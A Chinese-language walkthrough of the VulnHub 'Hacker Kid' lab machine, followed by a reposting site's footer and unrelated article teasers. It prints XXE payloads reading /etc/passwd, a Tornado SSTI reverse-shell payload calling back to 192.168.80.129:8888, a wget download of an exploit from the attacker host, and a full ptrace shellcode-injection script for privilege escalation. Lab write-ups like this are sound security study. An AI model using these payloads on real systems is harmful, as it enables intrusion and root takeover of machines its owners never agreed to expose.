Hack_Kid

Hack_Kid

  • 靶机地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

一、主机发现

  • 发现靶机IP为192.168.80.135

    在这里插入图片描述

二、端口扫描

  • 发现靶机开启了80、53、9999端口

    在这里插入图片描述

三、信息收集

1.访问80端口

在这里插入图片描述

2.访问9999端口
  • 根据靶场作者的提示,不需要暴力破解,所以我们要通过信息收集来获得账号密码
    在这里插入图片描述
3.寻找新思路
  • 我尝试访问80端口的各个页面,发现没有可以利用的点,后来发现在主页有下面这段话

    在这里插入图片描述

  • 说要更多的挖掘,因此尝试看一下源代码,果然发现注释中有提示,要通过get方式传递一个page_no的参数,随便传入一个值,发现页面返回了一个信息

    在这里插入图片描述

    在这里插入图片描述

  • 尝试通过BP对参数值进行爆破

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

  • 当等于21时返回的长度不一样,所以尝试访问一下

    在这里插入图片描述

四、域名发现

  • 上面的提示说有一些子域。并且还给了一个子域 hackers.blackhat.local,把这个域名加入 到hosts 文件(/etc/hosts)中

    在这里插入图片描述

  • 尝试访问hackers.blackhat.local

    在这里插入图片描述

  • 没有特别的信息,但是DIG重复了三次,dig(域信息搜索器)命令是一个用于询问 DNS 域名服务器的灵活的工具,所以我们尝试用dig命令挖一下

    dig axfr @192.168.80.135 blackhat.local
    

    在这里插入图片描述

  • 将域名添加到hosts文件中,然后逐一进行访问,发现hackerkid.blackhat.local这个域名是个全新的页面

    在这里插入图片描述

五、XXE

  • 随便填写信息使用BP进行抓包。发现数据是通过XML格式传输的

    在这里插入图片描述

  • 构造payload,访问/etc/passwd文件,发现saket的用户权限较高

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
    <root>
    	<name>glc</name>
        <tel>12345678888</tel>
        <email>
    	&xxe;
        </email>
        <password>glc1122</password>
    </root>
    

    在这里插入图片描述

  • .ssh 中的文件看不到,不过看到了.bashrc 文件,使用封装器的方法读取文件,然后进行base64解码

    <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
    

    在这里插入图片描述

    在这里插入图片描述

六、SSTI

  • 尝试用上面获取到的用户名密码登录9000端口的页面,发现用户名密码不对,后来将admin换成最早发现的saket用户,登陆成功

    在这里插入图片描述

  • 页面显示Tell me your name buddy,所以我们尝试通过get的方式传递名为name的参数

    在这里插入图片描述

  • 在前面进行信息收集时,我们已经知道9999端口对应的服务是Tornado,这是一个Python的Web服务框架,这个框架是可能存在SSTI模板注入的,我们先拿payload尝试一下

    {{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz]   //回显报错信息证明存在SSTI模板注入
    ${8*8},{{8*8}}			//如果显示计算后的结果,证明存在SSTI模板注入
    

    在这里插入图片描述

    在这里插入图片描述

  • 利用SSTI模板注入反弹shell,在kali上监听端口,并将python反弹shell语句进行encodeURIComponent编码(将符号替换为ascii对应的Hex值,空格替换为%20)

    编码前:{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.80.129/8888 0>&1"')}}
     
    编码后:%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.80.129%2F8888%200%3E%261%22')%7D%7D
    

    在这里插入图片描述

    在这里插入图片描述

七、Capabilitie提权

  • Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。 这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。 如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。

  • 查找具有Capabilities特殊操作权限的程序

    /usr/sbin/getcap -r / 2>/dev/null -r
    

    在这里插入图片描述

  • 通过上图我们发现python具备cap_sys_ptrace+ep 能力,所以我们可以对其进行利用然后进行提权。这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用pythono具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口,我们也可以修改shellcode部分让其监听其他端口

    kali:python3 -m http.server 80
    
    靶机:wget http://192.168.80.129/exp.py
    
    import ctypes
    import sys
    import struct
    
    
    PTRACE_POKETEXT   = 4
    PTRACE_GETREGS    = 12
    PTRACE_SETREGS    = 13
    PTRACE_ATTACH     = 16
    PTRACE_DETACH     = 17
    
    
    class user_regs_struct(ctypes.Structure):
        _fields_ = [
            ("r15", ctypes.c_ulonglong),
            ("r14", ctypes.c_ulonglong),
            ("r13", ctypes.c_ulonglong),
            ("r12", ctypes.c_ulonglong),
            ("rbp", ctypes.c_ulonglong),
            ("rbx", ctypes.c_ulonglong),
            ("r11", ctypes.c_ulonglong),
            ("r10", ctypes.c_ulonglong),
            ("r9", ctypes.c_ulonglong),
            ("r8", ctypes.c_ulonglong),
            ("rax", ctypes.c_ulonglong),
            ("rcx", ctypes.c_ulonglong),
            ("rdx", ctypes.c_ulonglong),
            ("rsi", ctypes.c_ulonglong),
            ("rdi", ctypes.c_ulonglong),
            ("orig_rax", ctypes.c_ulonglong),
            ("rip", ctypes.c_ulonglong),
            ("cs", ctypes.c_ulonglong),
            ("eflags", ctypes.c_ulonglong),
            ("rsp", ctypes.c_ulonglong),
            ("ss", ctypes.c_ulonglong),
            ("fs_base", ctypes.c_ulonglong),
            ("gs_base", ctypes.c_ulonglong),
            ("ds", ctypes.c_ulonglong),
            ("es", ctypes.c_ulonglong),
            ("fs", ctypes.c_ulonglong),
            ("gs", ctypes.c_ulonglong),
        ]
    
    libc = ctypes.CDLL("libc.so.6")
    
    pid=int(sys.argv[1])
    
    # Define argument type and respone type.
    libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
    libc.ptrace.restype = ctypes.c_uint64
    
    # Attach to the process
    libc.ptrace(PTRACE_ATTACH, pid, None, None)
    registers=user_regs_struct()
    
    # Retrieve the value stored in registers
    libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
    
    print("Instruction Pointer: " + hex(registers.rip))
    
    print("Injecting Shellcode at: " + hex(registers.rip))
    
    # Shell code copied from exploit db.
    shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
    
    # Inject the shellcode into the running process byte by byte.
    for i in xrange(0,len(shellcode),4):
     
      # Convert the byte to little endian.
      shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
      shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
      shellcode_byte=int(shellcode_byte_little_endian,16)
     
      # Inject the byte.
      libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
    
    print("Shellcode Injected!!")
    
    # Modify the instuction pointer
    registers.rip=registers.rip+2
    
    # Set the registers
    libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
    
    print("Final Instruction Pointer: " + hex(registers.rip))
    
    # Detach from the process.
    libc.ptrace(PTRACE_DETACH, pid, None, None)
    

    在这里插入图片描述

    在这里插入图片描述

  • 找到root进程的ID号,使用python2.7命令执行exp,或者使用下面的脚本对root进程批量尝试。

    for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 exp.py $i; done
    

    在这里插入图片描述

  • netstat 查看一下是否开启监听了5600端口

    netstat -lntp | grep 5600
    

    在这里插入图片描述

  • 成功提权

    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/151649.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

未来服务器操作系统的趋势与展望

摘要&#xff1a; 随着云计算、大数据和人工智能不断的发展&#xff0c;服务器操作系统也需要随之进行新一轮的升级。本文通过分析当前服务器操作系统的现状&#xff0c;探讨了未来服务器操作系统的趋势和展望&#xff0c;并针对一些关键问题提出了解决方案。 一、引言 服务器…

老哥们平日是怎么排查线上问题的?

1、做好监控告警 如果线上出现了问题&#xff0c;我们更多的是希望由监控告警发现我们出了线上问题&#xff0c;而不是等到业务侧反馈。所以&#xff0c;我们需要对核心接口做好监控告警的功能。 2、定位报警层面 如果是业务代码层面的监控报警&#xff0c;那我们应该是可以…

PVE Win平台虚拟机下如何安装恢复自定义备份Win系统镜像ISO文件(已成功实现)

环境: Virtual Environment 7.3-3 Win s2019 UltraISO9.7 USM6.0 NTLite_v2.1.1.7917 问题描述: PVE Win平台虚拟机下如何安装恢复自定义备份Win系统镜像ISO文件 本次目标 主要是对虚拟机里面Win系统备份做成可安装ISO文件恢复至别的虚拟机或者实体机上 解决方案: …

海康Visionmaster-环境配置:MFC 二次开发环境配置方法

1 新建 MFC 工程&#xff0c;拷贝 DLL:VM\VisionMaster4.0.0\Development\V4.0.0 \ComControl\bin\x64 下的所有拷贝到项目工程输出目录下&#xff0c;如下图所示&#xff0c;项目的输出路径是 Dll 文件夹。 2 通过配置 C目录和链接器的方式配置 VM 环境 2.1 C目录下添加附加…

金蝶云星空单据体启用块粘贴

文章目录 金蝶云星空单据体启用块粘贴 金蝶云星空单据体启用块粘贴

c/c++语言算法技巧汇总大复习2

标题前面打*号的为多数考纲范围外的&#xff0c;可以选择性查看 &#x1f517;链接&#xff1a;严书代码大全 &#x1f517;链接&#xff1a;c/c语言算法技巧汇总大复习1 &#x1f517;链接&#xff1a;c/c语言算法技巧汇总大复习2 目录 Dp动态规划入门练习 青蛙跳台阶练习&…

大数据Hadoop之——部署hadoop+hive+Mysql环境(Linux)

目录 一、JDK的安装 1、安装jdk 2、配置Java环境变量 3、加载环境变量 4、进行校验 二、hadoop的集群搭建 1、hadoop的下载安装 2、配置文件设置 2.1. 配置 hadoop-env.sh 2.2. 配置 core-site.xml 2.3. 配置hdfs-site.xml 2.4. 配置 yarn-site.xml 2.5. 配置 ma…

韦东山linux驱动开发学习【常更】

1.linux目录简单介绍 2.直接运行需要在$path路径下

YOLOv7独家原创改进:最新原创WIoU_NMS改进点,改进有效可以直接当做自己的原创改进点来写,提升网络模型性能精度

💡该教程为属于《芒果书》📚系列,包含大量的原创首发改进方式, 所有文章都是全网首发原创改进内容🚀 💡本篇文章为YOLOv7独家原创改进:独家首发最新原创WIoU_NMS改进点,改进有效可以直接当做自己的原创改进点来写,提升网络模型性能精度。 💡对自己数据集改进有效…

AI大模型创意赛秘籍:3要素搞定初赛提交,3步走开发一个网站!

11月10日&#xff0c;飞桨星河社区X智海Mo平台&#xff0c;AI大模型创意应用大赛的首场培训圆满结束&#xff01;培训过程中的完整网站代码案例&#xff0c;可在报名比赛后获取。 初赛&#xff1a;1码2表3图&#xff0c;快速搞定初赛提交 培训实践营上&#xff0c;Jungle老师分…

BUUCTF 九连环 1

BUUCTF:https://buuoj.cn/challenges 题目描述&#xff1a; 下载附件&#xff0c;解压得到一张.jpg图片。 密文&#xff1a; 解题思路&#xff1a; 1、一张图片&#xff0c;典型的图片隐写。放到Kali中&#xff0c;使用binwalk检测&#xff0c;确认图片中隐藏zip压缩包。 使…

docker 部署日志平台出错汇总

第一次运行elasticsearch:8.11.1镜像&#xff0c;报错如下&#xff1a; [rootmaster ~]# docker run --name es03 --net elastic -p 9200:9200 -it -m 1GB docker.elastic.co/elasticsearch/elasticsearch:8.11.1 docker: Error response from daemon: driver failed programmi…

Vue3-admin-template 框架实现表单身份证获取到 出生年月、性别

一. 首先需效验输入身份证信息是否正确&#xff1a; const sfzhChange () > {// 效验身份证号格式const reg /^[1-9]\d{5}(19|20)\d{2}((0[1-9])|(1[0-2]))(([0-2][1-9])|10|20|30|31)\d{3}[0-9Xx]$/; }; 二.绑定输入框 input 事件&#xff1a; <el-form-item label&q…

一文读懂GPTs的构建与玩法(GPTs保姆级教程)

Rocky Ding 公众号&#xff1a;WeThinkIn 写在前面 【WeThinkIn出品】栏目专注于分享Rocky的最新思考与经验总结&#xff0c;包含但不限于技术领域。欢迎大家一起交流学习&#x1f4aa; 大家好&#xff0c;我是Rocky。 本文将从“什么是GPTs”&#xff0c;“GPTs搭建流程”&am…

聚观早报 |OPPO Reno11系列官宣;荣耀100系列渲染图

【聚观365】11月16日消息 OPPO Reno11系列官宣 荣耀100系列渲染图 AIGC人才需求持续增加 三星声称不打算推出中端折叠屏手机 台积电10月份营收增加 OPPO Reno11系列官宣 今年5月&#xff0c;OPPO推出了OPPO Reno 10系列&#xff0c;包含OPPO Reno10、OPPO Reno10 Pro和OP…

提升pip速度!设置pip全局镜像源,速度飞起!

文章目录 💢 问题 💢💯 解决方案 💯🐾 镜像源🐾 镜像全局配置🍄 Windows系统🍄 Linux和macOS系统🍄 添加环境变量的方式💢 问题 💢 由于“某些网络限制”原因,我们在使用pip安装python模块的时候速度会比较慢,这个时候我们就需要用到一些镜像源,本文将…

基于springboot实现一起来约苗管理系统项目【项目源码】计算机毕业设计

基于springboot实现一起来约苗管理系统演示 Java技术 Java是由Sun公司推出的一门跨平台的面向对象的程序设计语言。因为Java 技术具有卓越的通用性、高效性、健壮的安全性和平台移植性的特点&#xff0c;而且Java是开源的&#xff0c;拥有全世界最大的开发者专业社群&#xff…

如何录制视频课程?打造高品质在线教学!

在线教学和知识分享已经成为一种新型的教育模式&#xff0c;录制视频课程成为了许多教师、教育培训机构以及知识分享爱好者的首选。可是如何录制视频课程呢&#xff1f;本文将介绍两种录制视频课程的方法&#xff0c;并对其进行分步骤详细说明&#xff0c;以帮助您轻松创建令人…

R语言提取文字(字符串)中的内容--正则式(2)

科学研究中有时候咱们收集到的数据很乱&#xff0c;不能马上进行分析&#xff0c;如SEER数据&#xff0c;用过都知道&#xff0c;咱们需要对数据进行清洗&#xff0c;从数据中提取咱们需要的东西&#xff0c;才能进行分析&#xff0c;这时候有个有用的东西叫正则式&#xff0c;…

Flutter 3.16 发布,快来看有什么更新吧

参考原文&#xff1a;https://medium.com/flutter/whats-new-in-flutter-3-16-dba6cb1015d1 Flutter 又又又发布新季度更新啦&#xff0c;同时随着而来的还有 Dart 3.2&#xff0c;本次 3.16 开始 Material 3 会成为新的默认主题&#xff0c;另外 Android 也迎来了 Impeller 的…